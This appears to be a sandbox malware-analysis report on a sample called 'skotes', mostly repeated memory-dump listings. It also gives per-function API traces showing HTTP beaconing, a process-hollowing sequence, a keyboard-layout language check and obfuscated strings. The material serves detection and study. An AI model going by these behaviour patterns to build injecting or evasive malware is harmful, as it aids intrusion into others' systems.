Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesFile$CreateDirectory
String ID: mxo1L0x$#$111$246122658369$9c9aa5$FCQgKF==$FisgLnsCZO1i$GiQaT29tduF=$L1~$UA==$WDw=$WTs=$invalid stoi argument$stoi argument out of range
API String ID: 1875963930-1196417502
Opcode ID: 3352172e6d8191bba61d1c442dd38fbb43e9b9fe4a03aa5bcbbb62b435ecd4a3
Instruction ID: bd0d1f11889093446a749b04715306cbd8a322e42a95bae149afbe8e138ee43f
Opcode Fuzzy Hash: 3352172e6d8191bba61d1c442dd38fbb43e9b9fe4a03aa5bcbbb62b435ecd4a3
Instruction Fuzzy Hash: B1F24B71A10148DBEF18EB78DD8DB9D7B72AF42304F54819CE408973D6EB3D9A848B91

Function 0078BE30 Relevance: 19.6, APIs: 6, Strings: 5, Instructions: 313
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC,7D8541EC,?,00000000), ref: 0078BEB8
InternetOpenW.WININET(007D8DC8,00000000,00000000,00000000,00000000), ref: 0078BEC7
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0078BEEC
HttpOpenRequestA.WININET(?,00000000), ref: 0078BF36
HttpSendRequestA.WININET(?,00000000), ref: 0078BFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 0078C0A8
InternetCloseHandle.WININET(?), ref: 0078C187
InternetCloseHandle.WININET(?), ref: 0078C18F
InternetCloseHandle.WININET(?), ref: 0078C197

Strings

invalid stoi argument, xrefs: 0078E4F4
8HJUeIfzLo==, xrefs: 0078C3CB, 0078C623
8HJUeMD Lq5=, xrefs: 0078C465
RE1NXF==, xrefs: 0078BF0E
stoi argument out of range, xrefs: 0078E4EA

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$invalid stoi argument$stoi argument out of range
API String ID: 2167506142-885246636
Opcode ID: 89fcce58a74c9d83571cc100fd3d8be42633cef4e860eabb2d67f12a7226d43c
Instruction ID: 823e2001b5bf612cb6bd45fa19a11f6d32bbc9fa620d7e6394e30da7acafd640
Opcode Fuzzy Hash: 89fcce58a74c9d83571cc100fd3d8be42633cef4e860eabb2d67f12a7226d43c
Instruction Fuzzy Hash: 21B105B1A00118DBDB29DF28CC89B9DBB75EF45304F508199F508972D2DB399AC4CFA5

Function 007870A0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 132
memoryprocessthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 0078712B
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 00787144
Wow64GetThreadContext.KERNEL32(?,00000000), ref: 00787159
ReadProcessMemory.KERNEL32(?, ,?,00000004,00000000), ref: 00787179
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040), ref: 007871BB
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00787291

Strings

invalid stoi argument, xrefs: 00787090
, xrefs: 00787170
VUUU, xrefs: 00786F41

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Virtual$AllocProcess$ContextCreateFreeMemoryReadThreadWow64
String ID: $VUUU$invalid stoi argument
API String ID: 752144545-3954507777
Opcode ID: c7e29de9a11b3d0549e8f362e03d73b9a9b524a40f74fdb1e75358cb8cb7b1b6
Instruction ID: e4425602fb2b8c5ffeaa9c651ce4817482e2969f90996f92c393254851ae7f50
Opcode Fuzzy Hash: c7e29de9a11b3d0549e8f362e03d73b9a9b524a40f74fdb1e75358cb8cb7b1b6
Instruction Fuzzy Hash: F6419370288301BFE660EB24DC06F9BB7E9BF84B00F505519F684A61D0E7B4E914CB96

Function 00786020 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 275
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,80000001,0000043f,00000008,00000423,00000008,00000422,00000008,00000419,00000008), ref: 0078617D
RegEnumValueA.KERNEL32(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 00786271

Strings

00000419, xrefs: 00786098
Keyboard Layout\Preload, xrefs: 00786054
00000422, xrefs: 007860C9
0000043f, xrefs: 0078612B
00000423, xrefs: 007860FA

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: EnumOpenValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 2571532894-3963862150
Opcode ID: 7a6656b925a21addb830edcb247a533ec3d67312c6a3226df6a6ffd77c005db4
Instruction ID: e961af37e56c09023e51d5c1ba27c8c27a03b5eedb53714d3ceb377825553cf9
Opcode Fuzzy Hash: 7a6656b925a21addb830edcb247a533ec3d67312c6a3226df6a6ffd77c005db4
Instruction Fuzzy Hash: 4AB1CF71940268ABDF24DB54CC88BDEB779AF04340F5002D9E108E7292DB789FA8CF55

Function 00787D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00787ED3

Strings

JjssPV==, xrefs: 007881E2
JjsrQV==, xrefs: 00788092
JjsrPl==, xrefs: 0078828A
JjssOl==, xrefs: 0078813A

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: e5b8ee3bc6e3f1be306387da649b4b6ed7cf6f890a57765679465fc2490b4479
Instruction ID: 7a41fb5186db7faabba59802c23210d7d79b163f6362294f80e981bcb6badfb6
Opcode Fuzzy Hash: e5b8ee3bc6e3f1be306387da649b4b6ed7cf6f890a57765679465fc2490b4479
Instruction Fuzzy Hash: 70E1E470E40644DBDB18BB689C4F79D7A71AB46720FA44288E415AB3C3DB7C4E818BD2

Function 007C1ABC Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 007C1775: CreateFileW.KERNEL32(00000000,00000000,?,007C1B65,?,?,00000000,?,007C1B65,00000000,0000000C), ref: 007C1792

__dosmaperr.LIBCMT ref: 007C1BD7
GetFileType.KERNEL32(00000000), ref: 007C1BE3
__dosmaperr.LIBCMT ref: 007C1BF6
__dosmaperr.LIBCMT ref: 007C1D9C

Strings

H, xrefs: 007C1D21

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
